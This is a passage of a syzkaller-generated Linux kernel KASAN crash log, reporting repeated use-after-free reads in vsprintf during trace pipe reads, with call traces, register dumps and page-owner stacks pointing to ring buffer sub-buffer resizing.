raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3c by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3d by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3e by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec3f by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 ffffea00042b8f48 ffffea000466c608 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000000ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as freed
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5912, tgid 5912 (syz-executor390), ts 116313597429, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_resize+0x4e8/0x15e0 kernel/trace/ring_buffer.c:3270
__tracing_resize_ring_buffer+0x9c/0x310 kernel/trace/trace.c:4738
tracing_update_buffers+0x7b/0xb0 kernel/trace/trace.c:4977
system_enable_write+0x17e/0x350 kernel/trace/trace_events.c:2020
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
ffff888119b6eb00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6eb80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
>ffff888119b6ec00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
^
ffff888119b6ec80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
ffff888119b6ed00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
==================================================================
==================================================================
BUG: KASAN: use-after-free in string_nocheck lib/vsprintf.c:648 [inline]
BUG: KASAN: use-after-free in string+0x216/0x2d0 lib/vsprintf.c:730
Read of size 1 at addr ffff888119b6ec40 by task syz-executor390/5916
CPU: 1 UID: 0 PID: 5916 Comm: syz-executor390 Tainted: G B syzkaller #1 PREEMPT(full)
Tainted: [B]=BAD_PAGE
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0xe8/0x150 lib/dump_stack.c:120
print_address_description+0x55/0x1e0 mm/kasan/report.c:378
print_report+0x58/0x70 mm/kasan/report.c:482
kasan_report+0x117/0x150 mm/kasan/report.c:595
string_nocheck lib/vsprintf.c:648 [inline]
string+0x216/0x2d0 lib/vsprintf.c:730
vsnprintf+0x74a/0xef0 lib/vsprintf.c:2945
seq_buf_vprintf+0xf0/0x1c0 lib/seq_buf.c:74
trace_seq_vprintf+0xd7/0x220 kernel/trace/trace_seq.c:175
trace_event_printf+0x110/0x170 kernel/trace/trace_output.c:360
trace_raw_output_lock+0x99/0xd0 include/trace/events/lock.h:49
tracing_read_pipe+0x568/0xb50 kernel/trace/trace.c:5444
vfs_read+0x213/0xa80 fs/read_write.c:572
ksys_read+0x150/0x270 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fadcfb36d9e
Code: 08 0f 85 f5 e2 ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 90 41 57 41 56 4d 89 c6 41 55 4d 89 cd 41 54 55 53 48 83 ec 08
RSP: 002b:00007fadcfae0198 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007fadcfae16c0 RCX: 00007fadcfb36d9e
RDX: 0000000000001000 RSI: 00007fadcfae0200 RDI: 0000000000000003
RBP: 00007fadcfae0200 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: ffffffffffffffd0
R13: 0000000000000000 R14: 00007ffd4e5b1df0 R15: 00007ffd4e5b1ed8
</TASK>
The buggy address belongs to the physical page:
page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff888119b6e000 pfn:0x119b6e
flags: 0x17ff00000000000(node=0|zone=2|lastcpupid=0x7ff)
raw: 017ff00000000000 0000000000000000 dead000000000122 0000000000000000
raw: ffff888119b6e000 0000000000000000 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0x44dc0(GFP_KERNEL|__GFP_ZERO|__GFP_RETRY_MAYFAIL|__GFP_COMP), pid 5920, tgid 5912 (syz-executor390), ts 153086917757, free_ts 147804824956
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x1f9/0x250 mm/page_alloc.c:1859
prep_new_page mm/page_alloc.c:1867 [inline]
get_page_from_freelist+0x21fa/0x2270 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5304
__alloc_pages_noprof+0x10/0x100 mm/page_alloc.c:5338
__alloc_pages_node_noprof include/linux/gfp.h:291 [inline]
alloc_pages_node_noprof include/linux/gfp.h:318 [inline]
alloc_cpu_data kernel/trace/ring_buffer.c:427 [inline]
__rb_allocate_pages+0x9f7/0x1330 kernel/trace/ring_buffer.c:2436
ring_buffer_subbuf_order_set+0x45d/0x14b0 kernel/trace/ring_buffer.c:7379
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
page last free pid 5917 tgid 5912 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1406 [inline]
__free_frozen_pages+0xbdb/0xcb0 mm/page_alloc.c:2950
free_buffer_page kernel/trace/ring_buffer.c:398 [inline]
ring_buffer_subbuf_order_set+0xeaa/0x14b0 kernel/trace/ring_buffer.c:7439
buffer_subbuf_size_write+0x1b3/0x250 kernel/trace/trace.c:8221
vfs_write+0x296/0xba0 fs/read_write.c:685
ksys_write+0x150/0x270 fs/read_write.c:739
do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
do_syscall_64+0x174/0x580 arch/x86/entry/syscall_64.c:94
entry_SYSCALL_64_after_hwframe+0x77/0x7f
Memory state around the buggy address:
